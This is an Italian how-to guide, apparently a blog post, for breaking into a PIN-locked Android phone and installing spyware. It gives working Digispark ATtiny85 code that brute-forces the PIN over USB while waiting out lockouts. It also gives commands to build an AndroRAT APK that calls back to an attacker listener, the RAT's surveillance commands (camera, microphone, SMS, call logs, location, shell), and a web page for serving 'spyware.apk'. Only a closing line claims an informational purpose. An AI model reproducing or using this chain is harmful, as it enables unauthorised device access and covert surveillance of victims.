Introduzione:
Come letto dal titolo oggi vedremo come cercare di entrare in un telefono con blocco schermo (in questo caso con pin) e installare un malware in modo completamente automatico sfruttando l'Attiny85 Digispark.
La guida si suddivide in 2 parti:
- Configurazione Attiny85
- Creazione APK malevolo
Configurazione Attiny85:
Se ancora non avete installato i drivers dell'Attiny85 dovete recarvi a questo link, dopo aver scaricato la zip estraete i file ed eseguite l'exe (Install Drivers.exe per OS a 32bit, DPInst64.exe, per OS a 64bit).
Arrivati a questo punto avete installato con successo i primi drivers!
Successivamente avviate l'IDE Arduino (qui trovate l'ultima versione), cliccate in alto su file > impostazioni e su URL aggiuntive aggiungete questa qui: http://digistump.com/package_digistump_index.json.
Fatti questi passaggi possiamo andare su tools > boards > gestore schede, per cercare "digistump" e installare il primo driver:
Ora se andate su tools > boards dovreste riuscire a vedere "Digistump AVR Boards", in particolare per la ATtiny85:
I compiti che deve svolgere sono sbloccare il telefono ed accedere al browser per aprire il link di installazione. Per fare questo ci vuole anche una libreria che gestisce il touch, ho trovato DigiCombo che ci permette di dare input tramite le coordinate dello schermo tramite protocolli V-USB e HID, ecco un esempio:
Codice esempio:
#include <DigiCombo.h>
void setup() {
DigiCombo.begin();
DigiCombo.write('b');
DigiCombo.delay(2000);
DigiCombo.sendKeyStroke(KEYCODE_BACKSPACE);
DigiCombo.pressKey(KEYCODE_D, MOD_LEFT_SHIFT);
DigiCombo.release();
DigiCombo.print("igispark");
DigiCombo.write(' ');
DigiCombo.pressKey(KEYCODE_A, MOD_LEFT_SHIFT);
DigiCombo.release();
DigiCombo.println("ttiny 85");
DigiCombo.delay(4000);
}
void loop() {
// Zoom in
for (int i = 0; i < 1000; i += 10) {
DigiCombo.moveFinger(5000, 4000 - i, CONTACT_ONE);
DigiCombo.moveFinger(5000, 6000 + i, CONTACT_TWO);
}
DigiCombo.release(CONTACT_ONE);
DigiCombo.release(CONTACT_TWO);
// Zoom out
for (int i = 0; i < 1000; i += 10) {
DigiCombo.moveFinger(5000, 3000 + i, CONTACT_ONE);
DigiCombo.moveFinger(5000, 7000 - i, CONTACT_TWO);
}
DigiCombo.release(CONTACT_ONE);
DigiCombo.release(CONTACT_TWO);
DigiCombo.delay(2000);
}
Inizialmente il codice per il bruteforce l'avevo scritto con un semplice while ma in questo modo se il blocco andava in pausa andavano perse moltissime combinazioni:
#include "DigiKeyboard.h"
void setup() {
pinMode(0, OUTPUT);
delay(5000);
}
char buf[11];
void loop() {
DigiKeyboard.sendKeyStroke(0);
int i = 0;
while (i <= 10000) {
sprintf(buf, "%04i", i);
DigiKeyboard.println(buf);
i++;
}
digitalWrite(0, HIGH);
delay(2000);
digitalWrite(0, LOW);
delay(2000);
DigiKeyboard.delay(5000);
}
Sarebbe l'ideale invece definire 4 variabili (i pin) e se ad esempio la quarta cifra supera il 9, torna a 0 e incrementa la terza cifra, questo per ogni pin.
In questo modo riesci anche a gestire eventuali pause del blocco schermo che ahimè bisogna sapere prima di scrivere il codice.
Quindi la versione più corretta sarebbe:
#include "DigiKeyboard.h"
const int digitValues[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38};
int digits[] = {0, 0, 0, 0, 0};
int attemptCount = 0;
void setup() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
delay(3000);
}
void loop() {
if (attemptCount == 5) {
handleExceededAttempts();
}
sendKeystrokes();
DigiKeyboard.sendKeyStroke(40); // enter
delay(1000);
incrementDigits();
attemptCount++;
}
void handleExceededAttempts() {
digitalWrite(1, HIGH);
DigiKeyboard.sendKeyStroke(40);
delay(31000);
attemptCount = 0;
digitalWrite(1, LOW);
}
void sendKeystrokes() {
for (int i = 0; i < 4; i++) {
DigiKeyboard.sendKeyStroke(digitValues[digits[i]]);
}
if (digits[4] != 0) {
DigiKeyboard.sendKeyStroke(digitValues[digits[4]]);
}
}
void incrementDigits() {
digits[3]++;
if (digits[3] == 10) {
digits[3] = 0;
digits[2]++;
if (digits[2] == 10) {
digits[2] = 0;
digits[1]++;
if (digits[1] == 10) {
digits[1] = 0;
digits[0]++;
if (digits[0] == 10) {
digits[0] = 0;
digits[4]++;
if (digits[4] == 10) {
digits[4] = 0;
}
}
}
}
}
}
Diamo un occhio al codice, il loop del codice in sostanza controlla il numero di tentativi raggiunti, in questo caso 5 (mi sono basato su quelli del mio telefono Samsung).
Se vengono raggiunti 5 tentativi, viene chiamato handleExceededAttempts() che teoricamente parlando alza un pin digitale e invia un enter, poi attende 31 secondi prima di ripristinare lo stato del pin e azzerare il contatore dei tentativi.
sendKeystrokes() come il nome della variabile suggerisce invia sequenzialmente le quattro cifre usando la libreria DigiKeyboard.
Da notare che se la variabile digits[4] (quinta cifra) non è zero viene inviata anche la quinta cifra.
In linea di massima incrementDigits() funziona in questo modo: si inizia incrementando la quarta cifra (digits[3]), se raggiunge 10 la reimposta a 0 e incrementa la terza cifra (digits[2]) e così via per le altre cifre.
L'integrazione con DigiCombo sarebbe davvero inutile inserirla nei codici dato che le zone da cliccare cambiano da telefono a telefono, inoltre anche ad un cambiamento di risoluzione influisce molto sulle coordinate inserite nel codice, quindi divertitevi!
Creazione APK malevolo:
In questo caso andremo ad installare nello smartphone Android interessato un APK RAT in modo da avere il pieno controllo del dispositivo.
Su GitHub il più conosciuto è AndroRAT quindi useremo proprio quello.
Iniziamo installando tutto il necessario:
git clone https://github.com/karma9874/AndroRAT.git
Installazione dei requisiti:
cd AndroRAT
pip install -r requirements.txt
Ora generiamo un APK malevolo:
python3 androRAT.py --build -i 192.168.0.192 -p 4444 -0 nome.apk
Dopo la generazione dell'APK dobbiamo hostare un listener nella stessa porta dell'APK quindi:
python3 androRAT.py -- shell -i 0.0.0.0 -p 4444
Fatto ciò siamo pronti all'apertura del malware dal dispositivo della vittima.
Appena dati i permessi alla presunta applicazione il danno è fatto:
Ecco una lista di comandi:
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a sh shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
Davvero spaventoso!
Concludiamo sul lato "hosting". Come descritto dai comandi sopra il nostro apk è scaricabile dall'indirizzo privato 192.168.0.192.
Ci sono moltissime opzioni per rendere "pubblico" il nostro APK in maniera gratuita. Io ho optato per Replit che dall'ultimo "aggiornamento" ha reso le url dei progetti molto fittizie.
Creazione progetto:
Per permettere l'auto-download di un file:
HTML:
<center>
<p>Spyware qui!</p>
<button onclick="downloadFile()">Download File</button>
</center>
Javascript:
<script>
function downloadFile() {
window.location.href = "spyware.apk";
}
</script>
La cartella dovrà contenere: index.html, script.js e spyware.apk!
Visualizzazione URL:
Infine vi allego un video dimostrazione:
Ci tengo a precisare che questa guida è stata diffusa a scopo informativo!
